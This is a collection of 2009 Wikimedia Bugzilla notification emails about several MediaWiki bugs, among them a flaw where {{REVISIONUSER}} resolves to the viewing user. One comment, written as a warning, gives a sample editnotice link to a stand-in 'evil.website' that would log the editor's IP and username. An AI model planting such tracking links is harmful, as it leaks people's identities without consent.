https://bugzilla.wikimedia.org/show_bug.cgi?id=16290 --- Comment #11 from Melancholie 2009-05-30 11:30:14 UTC --- Proof that there have been talk pages (formerly "Talk:Portal:"): http://74.6.239.67/search/cache?ei=UTF-8&p=http%3A%2F%2Fbar.wikipedia.org%2Fwiki%2FDiskussion%3APortal%3ABairische_Sprache&fr=moz2&u=bar.wikipedia.org/wiki/Diskussion:Portal:Bairische_Sprache&d=DuqDWUxIS16W&icp=1&.intl=us http://74.6.239.67/search/cache?ei=UTF-8&p=http%3A%2F%2Fbar.wikipedia.org%2Fwiki%2FDiskussion%3APortal%3ABayern&fr=moz2&u=bar.wikipedia.org/wiki/Diskussion:Portal:Bayern&d=eb4VbUxIS1eL&icp=1&.intl=us -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 16290] Creation of namespace 'Portal' at bar.wikipedia.org
https://bugzilla.wikimedia.org/show_bug.cgi?id=16290 Melancholie changed: What|Removed |Added Status|RESOLVED|REOPENED Resolution|FIXED | --- Comment #10 from Melancholie 2009-05-30 11:25:44 UTC --- Portal talk pages still missing, see [[bar:Special:AllPages/Portal_Diskussion:]] == http://bar.wikipedia.org/w/index.php?title=Special:AllPages&namespace=101 -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 16315] Change favicon for Wiktionaries
https://bugzilla.wikimedia.org/show_bug.cgi?id=16315 --- Comment #20 from Melancholie 2009-05-30 11:21:18 UTC --- (In reply to comment #19) > There are two attached to this bug, and though the second file seems broken to > me, the first one works. https://bugzilla.wikimedia.org/attachment.cgi?id=5690 @Conrad: Why does the second seem broken to you? Link or rendering? ... using which web browser? I actually tested the second favicon (comment #13) with all browsers available (has exactly the same format like the one from bug 17049). -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19008] Search index outdated (articles 9 months), became worse with LuceneSearch 2.1 activation
https://bugzilla.wikimedia.org/show_bug.cgi?id=19008 --- Comment #3 from Robert Stojnic 2009-05-30 11:12:45 UTC --- Looks like the incremental indexer is broken, september is the initial index build. Going to fix it after the indexer is done building weekly spellcheck snapshots. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19009] New: Typo in 'stabilization-text'
https://bugzilla.wikimedia.org/show_bug.cgi?id=19009 Summary: Typo in 'stabilization-text' Product: MediaWiki extensions Version: any Platform: All OS/Version: All Status: NEW Severity: minor Priority: Normal Component: FlaggedRevs AssignedTo: jschulz_4...@msn.com ReportedBy: matthew.brit...@btinternet.com Message "stabilization-text" ends with "...otherwise the change will have little affect." Should be 'effect'. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19008] Search index outdated (articles 9 months), became worse with LuceneSearch 2.1 activation
https://bugzilla.wikimedia.org/show_bug.cgi?id=19008 --- Comment #2 from Melancholie 2009-05-30 11:06:19 UTC --- Cut-off date seems to be September 17/18, with [[als:Eibe]] being one of the first articles missing in index. The index has not been updated properly (for articles not at all) since that date. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19006] {{REVISIONUSER}} acts like {{CURRENTUSER}} when $this->mRevisionId is false
https://bugzilla.wikimedia.org/show_bug.cgi?id=19006
Happy-melon changed:
What|Removed |Added
CC||happy-me...@live.com
--- Comment #2 from Happy-melon 2009-05-30 11:04:57 UTC
---
[http://some.evil.website/log/ip/and/username?user={{REVISIONID}} Click HERE to
see my fun trivia section] in a user's editnotice? I'd rather not, thanks.
--
Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email
--- You are receiving this mail because: ---
You are the assignee for the bug.
You are on the CC list for the bug.
___
Wikibugs-l mailing list
Wikibugs-l@lists.wikimedia.org
https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19008] Search index outdated (articles 9 months), became worse with LuceneSearch 2.1 activation
https://bugzilla.wikimedia.org/show_bug.cgi?id=19008 Melancholie changed: What|Removed |Added Summary|Search index outdated |Search index outdated |(several months), became|(articles 9 months), became |worse with LuceneSearch 2.1 |worse with LuceneSearch 2.1 |activation |activation --- Comment #1 from Melancholie 2009-05-30 11:00:11 UTC --- 1. Articles created at the end of August 2008 got properly indexed (9 months ago). http://als.wikipedia.org/w/index.php?ns0=1&search=Vindeliker&title=Spezial%3ASuech&fulltext=Advanced+search&fulltext=Suech 2. Articles created in September (e.g. [[als:Eibe]]) and later haven't! http://als.wikipedia.org/w/index.php?ns0=1&search=Eibe&title=Spezial%3ASuech&fulltext=Advanced+search&fulltext=Suech 3. There seems to be a difference between articles and other namespaces (see initial report). -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19008] New: Search index outdated (several months), became worse with LuceneSearch 2.1 activation
https://bugzilla.wikimedia.org/show_bug.cgi?id=19008 Summary: Search index outdated (several months), became worse with LuceneSearch 2.1 activation Product: Wikimedia Version: unspecified Platform: All URL: http://als.wikipedia.org/w/index.php?ns0=1&ns1=1&ns2=1&n s3=1&ns4=1&ns5=1&ns6=1&ns7=1&ns8=1&ns9=1&ns10=1&ns11=1&n s12=1&ns13=1&ns14=1&ns15=1&ns100=1&ns101=1&ns102=1&ns103 =1&ns104=1&ns105=1&ns106=1&ns107=1&ns108=1&ns109=1&ns110 =1&ns111=1&redirs=1&search=%E2%80%8EAppetenzverhalten&ti tle=Spezial%3ASuech&fulltext=Advanced+search&fulltext=Su ech OS/Version: All Status: NEW Severity: enhancement Priority: Normal Component: lucene-search-2 AssignedTo: rain...@eunet.yu ReportedBy: wiki.melancho...@web.de At least on alswiki the search index is totally outdated (not updated anymore?), for several months now. In contrast, on dewiktionary the index is properly working and only some hours to one day old. A user reported on April 17 that none of his articles he created this year got indexed, see [[als:User_talk:Melancholie#Suech_isch_nöd_aktualisiert]]. That is confirmed. Everything got worse with the LuceneSearch 2.1 activation yesterday. On May 27 I was able to find a fresh contribution to my talk page via search, not so today! Not sure whether this is a Google-like effect, because of different servers having different indexes, but there is proof that all articles that are even more than one month old havn't got indexed so far, see http://als.wikipedia.org/w/index.php?ns0=1&ns1=1&ns2=1&ns3=1&ns4=1&ns5=1&ns6=1&ns7=1&ns8=1&ns9=1&ns10=1&ns11=1&ns12=1&ns13=1&ns14=1&ns15=1&ns100=1&ns101=1&ns102=1&ns103=1&ns104=1&ns105=1&ns106=1&ns107=1&ns108=1&ns109=1&ns110=1&ns111=1&redirs=1&search=%E2%80%8EAppetenzverhalten&title=Spezial%3ASuech&fulltext=Advanced+search&fulltext=Suech (article: [[als:Appetenzverhalten]]) Please move to [MediaWiki > Search] or [MediaWiki extensions > Lucene Search] if necessary. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19006] {{REVISIONUSER}} acts like {{CURRENTUSER}} when $this->mRevisionId is false
https://bugzilla.wikimedia.org/show_bug.cgi?id=19006 --- Comment #1 from Gurch 2009-05-30 09:24:52 UTC --- hmmm, sounds like much fun could be had with this feature. I say leave it in :) -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are the assignee for the bug. You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19007] New: Allow (delimited) list of paths in Special:Code filter
https://bugzilla.wikimedia.org/show_bug.cgi?id=19007 Summary: Allow (delimited) list of paths in Special:Code filter Product: MediaWiki extensions Version: any Platform: All OS/Version: All Status: NEW Severity: enhancement Priority: Normal Component: CodeReview AssignedTo: jschulz_4...@msn.com ReportedBy: h...@goldrush.com The Special:Code path feature is quite handy, for example path=/trunk/phase3/ can be used for checking just changes that affect /phase3. It would be handy++; to be able to give it a list of paths, such as /trunk/phase3/|/trunk/extensions/ParserFunctions/|/trunk/extensions/CheckUser/|/trunk/extensions/AntiSpoof/ (using a delimiter character forbidden in paths of course). This could then let reviewers overview just the paths which they care about. For WMF pre-scap review, this would be /phase3 and any extensions used or planned for use on foundation wikis. And so forth. Yah. -- Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email --- You are receiving this mail because: --- You are on the CC list for the bug. ___ Wikibugs-l mailing list Wikibugs-l@lists.wikimedia.org https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19006] New: {{REVISIONUSER}} acts like {{CURRENTUSER}} when $this->mRevisionId is false
https://bugzilla.wikimedia.org/show_bug.cgi?id=19006
Summary: {{REVISIONUSER}} acts like {{CURRENTUSER}} when $this-
>mRevisionId is false
Product: MediaWiki
Version: 1.15-svn
Platform: All
OS/Version: All
Status: NEW
Severity: normal
Priority: Normal
Component: User interface
AssignedTo: wikibugs-l@lists.wikimedia.org
ReportedBy: h...@goldrush.com
The {{REVISIONUSER}} variable and soon-to-be (per r49575) parserfunction of the
same name have an interesting feature. When subst'd, they act the same as
{{CURRENTUSER}}.
function getRevisionUser() {
// if this template is subst: the revision id will be blank,
// so just use the current user's name
However, this has some interesting side effects, anytime $this->mRevisionId is
false, it uses the current user's name. First noticed in the comments of the
Special:Code extension ->
http://www.mediawiki.org/wiki/Special:Code/MediaWiki/49575#code-comments and
later in http://www.mediawiki.org/wiki/Special:Code/MediaWiki/48837#c2257
(though not in the recent comments feed at
http://www.mediawiki.org/w/index.php?title=Special:Code/MediaWiki/comments&offset=20090420132558&limit=1
).
Also happens in preview, expandtemplates
http://en.wikipedia.org/wiki/Special:ExpandTemplates?input=%3D%3DFoobar%3D%3D%0A%0A%0A%7B%7BREVISIONUSER%7D%7D#Foobar
and any parsing with no revisions:
http://en.wikipedia.org/w/api.php?action=parse&text={{REVISIONUSER}}
This is also possible with many system messages, most notably Newarticletext
and Editnotice. I brought this up at the VPT
http://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_(technical)&oldid=293258249#Constructed_link_in_editnotice_is_a_problem
after a quick test in
http://test.wikipedia.org/w/index.php?title=MediaWiki:Newarticletext&diff=74417&oldid=73916
... and soon a very interesting hack was performed:
http://en.wikipedia.org/w/index.php?title=Template:Editnotices/Page/User:Amalthea/test16&oldid=293105080&action=edit
is used on User:Amalthea/test16?action=edit and transcludes the currently
editing user's userpage.
This sort of behavior should probably be disabled? Though would that preclude
the ability to subst it (similar to REVISIONID) or is there a workaround?
--
Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email
--- You are receiving this mail because: ---
You are the assignee for the bug.
You are on the CC list for the bug.
___
Wikibugs-l mailing list
Wikibugs-l@lists.wikimedia.org
https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
[Bug 19003] Searching for : leads to Special:Contributions
https://bugzilla.wikimedia.org/show_bug.cgi?id=19003
--- Comment #1 from Splarka 2009-05-30 08:02:43 UTC ---
This is the fault of some lazy IPv6 regex. A valid IP address in Special:Search
is supposed to take you to the Special:Contributions of that IP. See
http://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/includes/IP.php and:
http://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/includes/SearchEngine.php
# Entering an IP address goes to the contributions page
if ( ( $title->getNamespace() == NS_USER &&
User::isIP($title->getText() ) )
|| User::isIP( trim( $searchterm ) ) ) {
return SpecialPage::getTitleFor( 'Contributions',
$title->getDBkey() );
}
--
Configure bugmail: https://bugzilla.wikimedia.org/userprefs.cgi?tab=email
--- You are receiving this mail because: ---
You are the assignee for the bug.
You are on the CC list for the bug.
___
Wikibugs-l mailing list
Wikibugs-l@lists.wikimedia.org
https://lists.wikimedia.org/mailman/listinfo/wikibugs-l
